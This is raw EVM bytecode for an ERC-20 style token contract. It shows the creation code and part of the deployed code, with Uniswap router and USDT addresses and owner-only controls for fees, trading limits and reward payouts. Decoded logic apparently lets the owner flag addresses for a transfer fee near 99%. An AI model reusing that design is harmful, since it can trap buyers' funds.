6080604052620000126009600a620005cd565b6200002190620f4240620005e5565b60015561271060015460c8620000389190620005e5565b620000449190620005ff565b60025561271060015460c86200005b9190620005e5565b620000679190620005ff565b60035561271060015460c86200007e9190620005e5565b6200008a9190620005ff565b600455600c8054600160ff199182168117909255600d805460ff60a01b191690556000600e81905560c8600f5560646010556011819055601281905561012c601381905560148190556015919091556127106016556017805490921683179091559054620186a091620000fe9190620005e5565b6200010a9190620005ff565b601855620186a0600154600a620001229190620005e5565b6200012e9190620005ff565b601955601a80546001600160a01b03191673dac17f958d2ee523a2206206994597c13d831ec71790556ec097ce7bc90715b34b9f1000000000601f55610258602555662386f26fc1000060265560016027553480156200018d57600080fd5b506040516200343738038062003437833981016040819052620001b0916200063f565b600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000217573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023d919062000689565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b1919062000689565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000325919062000689565b600c8054610100600160a81b0319166101006001600160a01b038681169190910291909117909155600d80546001600160a01b03199081168484161782556028805482168a8516179055602980548216898516178155602a8054909216888516178255306000818152600760209081526040808320805460ff19908116600190811790925533808652838620805483168417815598548b168652838620805483168417905596548a168552828520805482168317905587548116821790975596549097168252600881528682208054861687179055838252868220805486168717905591815285812080548516861790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980548516861790557f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7805490941685179093559254818352600584528483208190559351938452939450917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050620006a7565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200050f578160001904821115620004f357620004f3620004b8565b808516156200050157918102915b93841c9390800290620004d3565b509250929050565b6000826200052857506001620005c7565b816200053757506000620005c7565b81600181146200055057600281146200055b576200057b565b6001915050620005c7565b60ff8411156200056f576200056f620004b8565b50506001821b620005c7565b5060208310610133831016604e8410600b8410161715620005a0575081810a620005c7565b620005ac8383620004ce565b8060001904821115620005c357620005c3620004b8565b0290505b92915050565b6000620005de60ff84168362000517565b9392505050565b8082028115828204841417620005c757620005c7620004b8565b6000826200061d57634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200063a57600080fd5b919050565b6000806000606084860312156200065557600080fd5b620006608462000622565b9250620006706020850162000622565b9150620006806040850162000622565b90509250925092565b6000602082840312156200069c57600080fd5b620005de8262000622565b612d8080620006b76000396000f3fe6080604052600436106102555760003560e01c8063893d20e811610139578063ca89b899116100b6578063e2d6f94c1161007a578063e2d6f94c14610752578063e4491e0514610772578063ef43b02b14610792578063efca2eed146107b2578063f2fde38b146107c8578063ffd49c84146107e857600080fd5b8063ca89b8991461062f578063cc25596f14610668578063ce7c2ac214610695578063d9d5a89b146106ec578063dd62ed3e1461070c57600080fd5b8063a1db9782116100fd578063a1db9782146105a0578063a8aa1b31146105c0578063a9059cbb146105e0578063ba3acf8b14610600578063c876d0b91461061557600080fd5b8063893d20e8146105375780638c41180e146105555780639358928b1461057557806395d89b4114610261578063997664d71461058a57600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae8146104a15780635f7bcd70146104b757806360e71962146104d757806370a08231146104ed578063715018a61461050d578063751039fc1461052257600080fd5b80633a98ef39146103eb5780633f4218e014610401578063420bbf20146104315780634355855a1461045157806348ff2b8b1461048157600080fd5b8063293230b811610219578063293230b8146103495780632f54bf6e14610360578063313ce5671461038f57806334c5d2ce146103ab57806336afc425146103cb57600080fd5b806306fdde0314610261578063095ea7b3146102a257806318160ddd146102d2578063228cb733146102f157806323b872dd1461032957600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b50604080518082018252600981526822aa2422a926a7a7a760b91b6020820152905161029991906128f1565b60405180910390f35b3480156102ae57600080fd5b506102c26102bd366004612939565b6107fe565b6040519015158152602001610299565b3480156102de57600080fd5b506001545b604051908152602001610299565b3480156102fd57600080fd5b50601a54610311906001600160a01b031681565b6040516001600160a01b039091168152602001610299565b34801561033557600080fd5b506102c2610344366004612965565b610815565b34801561035557600080fd5b5061035e61087f565b005b34801561036c57600080fd5b506102c261037b3660046129a6565b6000546001600160a01b0391821691161490565b34801561039b57600080fd5b5060405160098152602001610299565b3480156103b757600080fd5b5061035e6103c63660046129c3565b6108c7565b3480156103d757600080fd5b5061035e6103e63660046129c3565b610a1b565b3480156103f757600080fd5b506102e3601b5481565b34801561040d57600080fd5b506102c261041c3660046129a6565b60076020526000908152604090205460ff1681565b34801561043d57600080fd5b50602854610311906001600160a01b031681565b34801561045d57600080fd5b506102c261046c3660046129a6565b60086020526000908152604090205460ff1681565b34801561048d57600080fd5b5061035e61049c3660046129fd565b610a53565b3480156104ad57600080fd5b506102e360265481565b3480156104c357600080fd5b50602954610311906001600160a01b031681565b3480156104e357600080fd5b506102e360275481565b3480156104f957600080fd5b506102e36105083660046129a6565b610aa8565b34801561051957600080fd5b5061035e610ac3565b34801561052e57600080fd5b5061035e610b32565b34801561054357600080fd5b506000546001600160a01b0316610311565b34801561056157600080fd5b5061035e6105703660046129fd565b610b7a565b34801561058157600080fd5b506102e3610c56565b34801561059657600080fd5b506102e3601c5481565b3480156105ac57600080fd5b5061035e6105bb366004612939565b610c87565b3480156105cc57600080fd5b50600d54610311906001600160a01b031681565b3480156105ec57600080fd5b506102c26105fb366004612939565b610d03565b34801561060c57600080fd5b5061035e610d10565b34801561062157600080fd5b50600c546102c29060ff1681565b34801561063b57600080fd5b506102e361064a3660046129a6565b6001600160a01b031660009081526023602052604090206002015490565b34801561067457600080fd5b506102e36106833660046129a6565b600b6020526000908152604090205481565b3480156106a157600080fd5b506106d16106b03660046129a6565b60236020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610299565b3480156106f857600080fd5b506102e36107073660046129a6565b610d1b565b34801561071857600080fd5b506102e3610727366004612a36565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561075e57600080fd5b5061035e61076d366004612a64565b610da6565b34801561077e57600080fd5b5061035e61078d366004612ab9565b610eac565b34801561079e57600080fd5b5061035e6107ad3660046129fd565b61111c565b3480156107be57600080fd5b506102e3601d5481565b3480156107d457600080fd5b5061035e6107e33660046129a6565b611194565b3480156107f457600080fd5b506102e360255481565b600061080b338484611212565b5060015b92915050565b6000610822848484611336565b610874843361086f85604051806060016040528060288152602001612d23602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114d5565b611212565b5060015b9392505050565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016108a990612af6565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108f15760405162461bcd60e51b81526004016108a990612af6565b60006127108461090060015490565b61090a9190612b2c565b6109149190612b43565b905060006127108461092560015490565b61092f9190612b2c565b6109399190612b43565b905060006127108461094a60015490565b6109549190612b2c565b61095e9190612b43565b600284905560038390556004819055905060006109916103e861098b600561098560015490565b90611501565b9061150d565b90508084101580156109a35750808310155b80156109af5750808210155b610a125760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108a9565b50505050505050565b6000546001600160a01b03163314610a455760405162461bcd60e51b81526004016108a990612af6565b602592909255602655602755565b6000546001600160a01b03163314610a7d5760405162461bcd60e51b81526004016108a990612af6565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610aed5760405162461bcd60e51b81526004016108a990612af6565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b5c5760405162461bcd60e51b81526004016108a990612af6565b600154600255600154600355600154600455600c805460ff19169055565b6000546001600160a01b03163314610ba45760405162461bcd60e51b81526004016108a990612af6565b600d546001600160a01b03838116911614801590610bd55750600c546001600160a01b038381166101009092041614155b8015610bea57506001600160a01b0382163014155b610c2b5760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108a9565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610c82610c656000610aa8565b610c7c610c7361dead610aa8565b60015490611519565b90611519565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610cda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfe9190612b65565b505050565b600061080b338484611336565b610d1933611525565b565b6001600160a01b0381166000908152602360205260408120548103610d4257506000919050565b6001600160a01b038216600090815260236020526040812054610d649061165f565b6001600160a01b038416600090815260236020526040902060010154909150808211610d94575060009392505050565b610d9e8282611519565b949350505050565b6000546001600160a01b03163314610dd05760405162461bcd60e51b81526004016108a990612af6565b600e889055600f879055601286905560108590556011849055601383905560148290556015819055601654610e0690600561150d565b60135411158015610e265750601654610e2090600561150d565b60145411155b8015610e415750601654610e3b90600561150d565b60155411155b610ea25760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108a9565b5050505050505050565b6014819055602054336000829003610ec5575050611116565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff16610fc3575b8984108015610eff57508582105b15610fbe578560245410610f135760006024555b610f45602060245481548110610f2b57610f2b612b82565b6000918252602090912001546001600160a01b031661167c565b15610f7c57610f7c602060245481548110610f6257610f62612b82565b6000918252602090912001546001600160a01b0316611525565b610f91610f8a5a8590611519565b85906116c1565b93505a602480549194506000610fa683612b98565b91905055508180610fb690612b98565b925050610ef1565b61110f565b6000610fce86610d1b565b6001600160a01b038b1660009081526005602052604090208a90559050610ff58983612bb1565b33600090815260056020526040902055801561110d57601d5461101890826116c1565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612b65565b506001600160a01b038616600090815260226020908152604080832042905560239091529020600201546110c690826116c1565b6001600160a01b03871660009081526023602052604090206002810191909155546110f09061165f565b6001600160a01b0387166000908152602360205260409020600101555b505b5050505050505b50505050565b6000546001600160a01b031633146111465760405162461bcd60e51b81526004016108a990612af6565b6001600160a01b0382166000908152600860205260409020805460ff191682158015919091179091556111825761117e8260006116cd565b5050565b61117e8261118f84610aa8565b6116cd565b6000546001600160a01b031633146111be5760405162461bcd60e51b81526004016108a990612af6565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108a9565b6001600160a01b0382166112d55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108a9565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6113418383836117e3565b61134b838361197d565b61135482611a0e565b61135f838383611b7d565b61136a838383611c69565b6113748383611d96565b6001600160a01b0383166000908152600560205260409020546113979082611519565b6001600160a01b0384166000908152600560205260408120919091556113bd8484611db1565b6113c757816113d2565b6113d2848484611df7565b6001600160a01b0384166000908152600560205260409020549091506113f890826116c1565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061144c9085815260200190565b60405180910390a36001600160a01b03841660009081526008602052604090205460ff16611481576114818461118f86610aa8565b6001600160a01b03831660009081526008602052604090205460ff166114ae576114ae8361118f85610aa8565b6001600160a01b038316600090815260236020526040902054156111165761111683611525565b600081848411156114f95760405162461bcd60e51b81526004016108a991906128f1565b505050900390565b60006108788284612b2c565b60006108788284612b43565b60006108788284612bc4565b6001600160a01b03811660009081526023602052604081205490036115475750565b600061155282610d1b565b9050801561117e57601d5461156790826116c1565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af11580156115bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e19190612b65565b506001600160a01b0382166000908152602260209081526040808320429055602390915290206002015461161590826116c1565b6001600160a01b038316600090815260236020526040902060028101919091555461163f9061165f565b6001600160a01b0383166000908152602360205260409020600101555050565b600061080f601f5461098b601e548561150190919063ffffffff16565b6025546001600160a01b038216600090815260226020526040812054909142916116a69190612bb1565b10801561080f57506026546116ba83610d1b565b1192915050565b60006108788284612bb1565b6000811180156116f357506001600160a01b038216600090815260236020526040902054155b1561175857602080546001600160a01b03841660008181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b031916909117905561178b565b8015801561177d57506001600160a01b03821660009081526023602052604090205415155b1561178b5761178b82611ee5565b6001600160a01b038216600090815260236020526040902054601b546117bc9183916117b691611519565b906116c1565b601b556001600160a01b038216600090815260236020526040902081905561163f8161165f565b6001600160a01b0383166118475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108a9565b6001600160a01b0382166118a95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108a9565b6000811161190b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108a9565b61191483610aa8565b811115610cfe5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108a9565b6001600160a01b03821660009081526007602052604090205460ff161580156119bf57506001600160a01b03811660009081526007602052604090205460ff16155b1561117e57600d54600160a01b900460ff1661117e5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016108a9565b600c546001600160a01b038281166101009092041614801590611a3f5750600d546001600160a01b03828116911614155b8015611a4d5750600c5460ff165b15611b2a57611a5d600243612bc4565b326000908152600a6020526040902054108015611a9b5750611a80600243612bc4565b6001600160a01b0382166000908152600a6020526040902054105b611b055760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016108a9565b326000908152600a602052604080822043908190556001600160a01b03841683529120555b600d546001600160a01b03828116911614611b7a576001600160a01b0381166000908152600b60205260408120549003611b7a576001600160a01b0381166000908152600b602052604090204290555b50565b6001600160a01b03831660009081526007602052604090205460ff16158015611bbf57506001600160a01b03821660009081526007602052604090205460ff16155b8015611bd95750600d546001600160a01b03838116911614155b8015611bf057506001600160a01b03821661dead14155b15610cfe576004546001600160a01b038316600090815260056020526040902054611c1b90836116c1565b1115610cfe5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016108a9565b600d546001600160a01b03848116911614611d0a5760035481111580611ca757506001600160a01b03831660009081526007602052604090205460ff165b80611cca57506001600160a01b03821660009081526007602052604090205460ff165b611d0a5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108a9565b60025481111580611d3357506001600160a01b03831660009081526007602052604090205460ff165b80611d5657506001600160a01b03821660009081526007602052604090205460ff165b610cfe5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108a9565b611da08282611ff9565b1561117e5761117e601854836120ad565b6001600160a01b03821660009081526007602052604081205460ff161580156108785750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611e048585612250565b1115611ede576000611e27611e198686612250565b60165461098590869061150d565b30600090815260056020526040902054909150611e4490826116c1565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e959085815260200190565b60405180910390a360125415611ecc57611ecc3061dead611ec76012546109856016548961150d90919063ffffffff16565b611336565b611ed68382611519565b915050610878565b5092915050565b60208054611ef590600190612bc4565b81548110611f0557611f05612b82565b60009182526020808320909101546001600160a01b03848116845260218352604090932054825493909116928110611f3f57611f3f612b82565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152602180835260408220548354909391929190611f8a90600190612bc4565b81548110611f9a57611f9a612b82565b60009182526020808320909101546001600160a01b03168352828101939093526040909101902091909155805480611fd457611fd4612bd7565b600082815260209020810160001990810180546001600160a01b031916905501905550565b60008060185461200830610aa8565b6017549111159150610100900460ff16158015612027575060175460ff165b801561203c5750600d54600160a01b900460ff165b801561206157506001600160a01b03841660009081526007602052604090205460ff16155b801561208657506001600160a01b03831660009081526007602052604090205460ff16155b801561209f5750600d546001600160a01b038481169116145b8015610d9e57509392505050565b6017805461ff001916610100179055601054601154600f54600e546000936120e693600293610985936117b692918391829060016116c1565b905060006121038261098b600e548761150190919063ffffffff16565b905060006121118583611519565b90504761211d826122f1565b60006121294783611519565b9050600061214c612145600e548861151990919063ffffffff16565b839061150d565b90506000612165600e548361150190919063ffffffff16565b9050801561217757612177868261246e565b600f5460009061218c90610985856002611501565b905080156121d0576029546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121ce573d6000803e3d6000fd5b505b6010546000906121e590610985866002611501565b905080156121f7576121f7818b61252c565b4715612238576028546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612236573d6000803e3d6000fd5b505b50506017805461ff0019169055505050505050505050565b6001600160a01b03821660009081526009602052604081205460ff168061228f57506001600160a01b03821660009081526009602052604090205460ff165b156122a9576016546122a2906064611519565b905061080f565b600d546001600160a01b03908116908316036122c8575060145461080f565b600d546001600160a01b03908116908416036122e7575060135461080f565b5060155492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061232657612326612b82565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123bd9190612bed565b816001815181106123d0576123d0612b82565b6001600160a01b039283166020918202929092010152600c546123fb91309161010090041684611212565b600c5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790612438908590600090869030904290600401612c4e565b600060405180830381600087803b15801561245257600080fd5b505af1158015612466573d6000803e3d6000fd5b505050505050565b600c5461248b90309061010090046001600160a01b031684611212565b600c54602a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a4820152610100909204169063f305d71990839060c40160606040518083038185885af1158015612500573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125259190612c8a565b5050505050565b601a546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015612575573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125999190612cb8565b6040805160028082526060820183529293506000929091602083019080368337019050509050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612612573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126369190612bed565b8160008151811061264957612649612b82565b6001600160a01b039283166020918202929092010152601a5482519116908290600190811061267a5761267a612b82565b6001600160a01b039283166020918202929092010152600c5460405163b6f9de9560e01b81526101009091049091169063b6f9de959086906126c790600090869030904290600401612cd1565b6000604051808303818588803b1580156126e057600080fd5b505af11580156126f4573d6000803e3d6000fd5b5050601a546040516370a0823160e01b8152306004820152600094506001600160a01b0390911692506370a082319150602401602060405180830381865afa158015612744573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127689190612cb8565b905060006127768285611519565b601c5490915061278690826116c1565b601c55604080518082018252600f81526e6e6f756e636528616464726573732960881b60209182015281516001600160a01b03888116602480840191909152845180840390910181526044909201845291810180516001600160e01b031663366b82c160e01b179052602a54925190926000921690612806908490612d06565b6000604051808303816000865af19150503d8060008114612843576040519150601f19603f3d011682016040523d82523d6000602084013e612848565b606091505b50509050806128995760405162461bcd60e51b815260206004820152601d60248201527f43616c6c20746f206f7468657220636f6e7472616374206661696c656400000060448201526064016108a9565b6128c06128b7601b5461098b86601f5461150190919063ffffffff16565b601e54906116c1565b601e555050505050505050565b60005b838110156128e85781810151838201526020016128d0565b50506000910152565b60208152600082518060208401526129108160408501602087016128cd565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611b7a57600080fd5b6000806040838503121561294c57600080fd5b823561295781612924565b946020939093013593505050565b60008060006060848603121561297a57600080fd5b833561298581612924565b9250602084013561299581612924565b929592945050506040919091013590565b6000602082840312156129b857600080fd5b813561087881612924565b6000806000606084860312156129d857600080fd5b505081359360208301359350604090920135919050565b8015158114611b7a57600080fd5b60008060408385031215612a1057600080fd5b8235612a1b81612924565b91506020830135612a2b816129ef565b809150509250929050565b60008060408385031215612a4957600080fd5b8235612a5481612924565b91506020830135612a2b81612924565b600080600080600080600080610100898b031215612a8157600080fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b60008060008060808587031215612acf57600080fd5b843593506020850135612ae181612924565b93969395505050506040820135916060013590565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761080f5761080f612b16565b600082612b6057634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612b7757600080fd5b8151610878816129ef565b634e487b7160e01b600052603260045260246000fd5b600060018201612baa57612baa612b16565b5060010190565b8082018082111561080f5761080f612b16565b8181038181111561080f5761080f612b16565b634e487b7160e01b600052603160045260246000fd5b600060208284031215612bff57600080fd5b815161087881612924565b600081518084526020808501945080840160005b83811015612c435781516001600160a01b031687529582019590820190600101612c1e565b509495945050505050565b85815284602082015260a060408201526000612c6d60a0830186612c0a565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612c9f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612cca57600080fd5b5051919050565b848152608060208201526000612cea6080830186612c0a565b6001600160a01b03949094166040830152506060015292915050565b60008251612d188184602087016128cd565b919091019291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d305060e5c0409ed2335eacfd19d20d123786752e789b0bd85ea09be793fbdb64736f6c63430008110033000000000000000000000000c3cf19bf5044a37944b96b2e36fa624ae11b3bed000000000000000000000000c3cf19bf5044a37944b96b2e36fa624ae11b3bed000000000000000000000000c3cf19bf5044a37944b96b2e36fa624ae11b3bed

Deployed Bytecode

0x6080604052600436106102555760003560e01c8063893d20e811610139578063ca89b899116100b6578063e2d6f94c1161007a578063e2d6f94c14610752578063e4491e0514610772578063ef43b02b14610792578063efca2eed146107b2578063f2fde38b146107c8578063ffd49c84146107e857600080fd5b8063ca89b8991461062f578063cc25596f14610668578063ce7c2ac214610695578063d9d5a89b146106ec578063dd62ed3e1461070c57600080fd5b8063a1db9782116100fd578063a1db9782146105a0578063a8aa1b31146105c0578063a9059cbb146105e0578063ba3acf8b14610600578063c876d0b91461061557600080fd5b8063893d20e8146105375780638c41180e146105555780639358928b1461057557806395d89b4114610261578063997664d71461058a57600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae8146104a15780635f7bcd70146104b757806360e71962146104d757806370a08231146104ed578063715018a61461050d578063751039fc1461052257600080fd5b80633a98ef39146103eb5780633f4218e014610401578063420bbf20146104315780634355855a1461045157806348ff2b8b1461048157600080fd5b8063293230b811610219578063293230b8146103495780632f54bf6e14610360578063313ce5671461038f57806334c5d2ce146103ab57806336afc425146103cb57600080fd5b806306fdde0314610261578063095ea7b3146102a257806318160ddd146102d2578063228cb733146102f157806323b872dd1461032957600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b50604080518082018252600981526822aa2422a926a7a7a760b91b6020820152905161029991906128f1565b60405180910390f35b3480156102ae57600080fd5b506102c26102bd366004612939565b6107fe565b6040519015158152602001610299565b3480156102de57600080fd5b506001545b604051908152602001610299565b3480156102fd57600080fd5b50601a54610311906001600160a01b031681565b6040516001600160a01b039091168152602001610299565b34801561033557600080fd5b506102c2610344366004612965565b610815565b34801561035557600080fd5b5061035e61087f565b005b34801561036c57600080fd5b506102c261037b3660046129a6565b6000546001600160a01b0391821691161490565b34801561039b57600080fd5b5060405160098152602001610299565b3480156103b757600080fd5b5061035e6103c63660046129c3565b6108c7565b3480156103d757600080fd5b5061035e6103e63660046129c3565b610a1b565b3480156103f757600080fd5b506102e3601b5481565b34801561040d57600080fd5b506102c261041c3660046129a6565b60076020526000908152604090205460ff1681565b34801561043d57600080fd5b50602854610311906001600160a01b031681565b34801561045d57600080fd5b506102c261046c3660046129a6565b60086020526000908152604090205460ff1681565b34801561048d57600080fd5b5061035e61049c3660046129fd565b610a53565b3480156104ad57600080fd5b506102e360265481565b3480156104c357600080fd5b50602954610311906001600160a01b031681565b3480156104e357600080fd5b506102e360275481565b3480156104f957600080fd5b506102e36105083660046129a6565b610aa8565b34801561051957600080fd5b5061035e610ac3565b34801561052e57600080fd5b5061035e610b32565b34801561054357600080fd5b506000546001600160a01b0316610311565b34801561056157600080fd5b5061035e6105703660046129fd565b610b7a565b34801561058157600080fd5b506102e3610c56565b34801561059657600080fd5b506102e3601c5481565b3480156105ac57600080fd5b5061035e6105bb366004612939565b610c87565b3480156105cc57600080fd5b50600d54610311906001600160a01b031681565b3480156105ec57600080fd5b506102c26105fb366004612939565b610d03565b34801561060c57600080fd5b5061035e610d10565b34801561062157600080fd5b50600c546102c29060ff1681565b34801561063b57600080fd5b506102e361064a3660046129a6565b6001600160a01b031660009081526023602052604090206002015490565b34801561067457600080fd5b506102e36106833660046129a6565b600b6020526000908152604090205481565b3480156106a157600080fd5b506106d16106b03660046129a6565b60236020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610299565b3480156106f857600080fd5b506102e36107073660046129a6565b610d1b565b34801561071857600080fd5b506102e3610727366004612a36565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561075e57600080fd5b5061035e61076d366004612a64565b610da6565b34801561077e57600080fd5b5061035e61078d366004612ab9565b610eac565b34801561079e57600080fd5b5061035e6107ad3660046129fd565b61111c565b3480156107be57600080fd5b506102e3601d5481565b3480156107d457600080fd5b5061035e6107e33660046129a6565b611194565b3480156107f457600080fd5b506102e360255481565b600061080b338484611212565b5060015b92915050565b6000610822848484611336565b610874843361086f85604051806060016040528060288152602001612d23602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114d5565b611212565b5060015b9392505050565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016108a990612af6565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108f15760405162461bcd60e51b81526004016108a990612af6565b60006127108461090060015490565b61090a9190612b2c565b6109149190612b43565b905060006127108461092560015490565b61092f9190612b2c565b6109399190612b43565b905060006127108461094a60015490565b6109549190612b2c565b61095e9190612b43565b600284905560038390556004819055905060006109916103e861098b600561098560015490565b90611501565b9061150d565b90508084101580156109a35750808310155b80156109af5750808210155b610a125760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108a9565b50505050505050565b6000546001600160a01b03163314610a455760405162461bcd60e51b81526004016108a990612af6565b602592909255602655602755565b6000546001600160a01b03163314610a7d5760405162461bcd60e51b81526004016108a990612af6565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610aed5760405162461bcd60e51b81526004016108a990612af6565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b5c5760405162461bcd60e51b81526004016108a990612af6565b600154600255600154600355600154600455600c805460ff19169055565b6000546001600160a01b03163314610ba45760405162461bcd60e51b81526004016108a990612af6565b600d546001600160a01b03838116911614801590610bd55750600c546001600160a01b038381166101009092041614155b8015610bea57506001600160a01b0382163014155b610c2b5760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108a9565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610c82610c656000610aa8565b610c7c610c7361dead610aa8565b60015490611519565b90611519565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610cda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfe9190612b65565b505050565b600061080b338484611336565b610d1933611525565b565b6001600160a01b0381166000908152602360205260408120548103610d4257506000919050565b6001600160a01b038216600090815260236020526040812054610d649061165f565b6001600160a01b038416600090815260236020526040902060010154909150808211610d94575060009392505050565b610d9e8282611519565b949350505050565b6000546001600160a01b03163314610dd05760405162461bcd60e51b81526004016108a990612af6565